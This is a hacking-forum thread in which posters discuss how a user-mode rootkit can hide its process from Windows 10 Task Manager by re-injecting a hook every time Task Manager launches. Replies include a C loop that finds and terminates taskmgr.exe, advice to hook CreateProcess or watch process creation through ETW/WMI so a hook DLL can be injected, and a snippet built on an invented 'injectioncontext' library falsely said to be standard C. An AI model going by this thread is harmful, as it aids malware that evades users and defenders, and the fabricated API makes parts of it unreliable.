[admiralHenrik]

So i know how to hook into task manager in win 10 hide a process by hooking SystemInformationQuery and there are a lot of source of this


but i couldn't find anyone that actually teaches how to make this injection everytime it is opened? otherwise what's the point? you write a malware that hides itself from taskmanager at a moment, but what if the user opens it 5 minute later? and i assume you can keep checking if the task manager is open but this is both inefficient and suspicious, and probably wont work all the time



so how do user level rootkits hide from task manager all the time?



i assume you can do this with a kernel level driver, since i saw a API call that calls the driver everytime a new process is created and AVs use it, but I'm asking about user level rootkit


also do you guys know a way of injecting into task manager in win 10 without running it as admin? is it even possible?

[YouthInAsia]

I typically use injectioncontext from the standard c library. It works well.

Code

#include <injectioncontext.h>
void processlaunched(InjectionContext* ic, char* processname){
   if(!strcmp(processname,"taskmgr.exe")){
       void* remoteaddr = ic.inject(payloadfortaskmgr);
       ic.createthread(remoteaddr);
   }
   else if(!strcmp(processname,"explorer.exe")){
       void* remoteaddr = ic.inject(payloadforexplorer);
       ic.createthread(remoteaddr);
   }
}
void injectionfunction(){
   InjectionContext ic = {0};
   ic.targetprocess.insert("taskmgr.exe");
    ic.targetprocess.insert("explorer.exe");
   ic.processlaunchedcallback = processlaunched;
   
   ic.runeventloop();
}
int main(){
   injectionfunction();
   
   return 0;
}

[Xamarin]

This is the answer you are looking:

shorturl.at/fntK2

You should really have googled that. No one is going to spoon-feed an unknown guy on the internet (with one post I may add) so that he can go and infect other people.

There are tons of source code on ring-3 rootkits in several big code-sharing sites such as github. Go there, read it and understand how "other user-mode rootkits do it".

[myselfandi]

Just hook createprocess if its task manager you inject into it

[Tr0jandog]

Just hook createprocess if its task manager you inject into it

This won't work with userland rootkit i think, because explorer is not the only one that can create it and winlogon can create it too if user uses cntrl alt delete to open task manager, and i can't hook winlogon since it has SYSTEM integrity, and in windows 10 is even more complex since winlogon doesnt directly create task manager, but please let me know if I'm wrong

[myselfandi]

This won't work with userland rootkit i think, because explorer is not the only one that can create it and winlogon can create it too if user uses cntrl alt delete to open task manager, and i can't hook winlogon since it has SYSTEM integrity, and in windows 10 is even more complex since winlogon doesnt directly create task manager, but please let me know if I'm wrong

winlogon process has nothing to do with that. all processes are child of explorer.exe, if you kill explorer.exe the left processes woudn't have a parent. in fact when you press CTRL+ALT+DEL you are just changing to Winlogon desktop, if you select something you or if you didn't select something within 30s you go back to the default desktop.

[aeiro]

here's some code that can be used to scan through all running processes until it finds taskmgr.exe and terminates it.
besides the termination this could be used to check for task manager then you can inject afterwords.

PHP Code


<?php 
PROCESSENTRY32 pE32;
 pE32.dwSize = sizeof(PROCESSENTRY32);

 HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
 
 if (Process32First(snapshot, &pE32))
 {
 for (;;) {
 while(Process32Next(snapshot, &pE32))
 {
 if (_stricmp(pE32.szExeFile, "taskmgr.exe") == 0)
 {
 HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pE32.th32ProcessID);
 DWORD eCode = NULL;
 GetExitCodeProcess(hProcess, &eCode);
 TerminateProcess(hProcess, eCode);

 }
 }

 snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
 Process32First(snapshot, &pE32);
 }
 } 


[Tr0jandog]

winlogon process has nothing to do with that. all processes are child of explorer.exe, if you kill explorer.exe the left processes woudn't have a parent. in fact when you press CTRL+ALT+DEL you are just changing to Winlogon desktop, if you select something you or if you didn't select something within 30s you go back to the default desktop.

i just checked it in both 7 and 10, you can easily check this with process explorer, and the child of winlogon.exe would be task manager when you open it with these keys, and not explorer.exe

literally when you use cntrl alt delete and select task manager, the father of that process is winlogon, and in 10, there is no father (its father dies soon after) but it seems like winlogon has something to do with that as well

---

here's some code that can be used to scan through all running processes until it finds taskmgr.exe and terminates it.
besides the termination this could be used to check for task manager then you can inject afterwords.

PHP Code


<?php 
PROCESSENTRY32 pE32;
 pE32.dwSize = sizeof(PROCESSENTRY32);

 HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
 
 if (Process32First(snapshot, &pE32))
 {
 for (;;) {
 while(Process32Next(snapshot, &pE32))
 {
 if (_stricmp(pE32.szExeFile, "taskmgr.exe") == 0)
 {
 HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pE32.th32ProcessID);
 DWORD eCode = NULL;
 GetExitCodeProcess(hProcess, &eCode);
 TerminateProcess(hProcess, eCode);

 }
 }

 snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
 Process32First(snapshot, &pE32);
 }
 } 


yes this is what im doing right now, but was hoping i can do it less noisy and without running a loop scan, i can do that with injecting explorer but when someone opens task manager with cntrl alt delete the parent of that is someone else and i cannot inject into it

[malpwn]

You can take advantage of direct Event tracing for Windows or simply query the WMI interface for events leading to process creation
So once task manager or process hacker for example is spawned you can inject your hook dll everytime

So all you need to do is code a systematic process watcher , once the target process is spawned just suspend the process and inject your dll and then resume it.

The cons of above techniques is they can't monitor extremely short lived process
Other than that you are good to go.


Here is an example if you need references 😅
https[:]//github.com/felixweyne/ProcessSpawnControl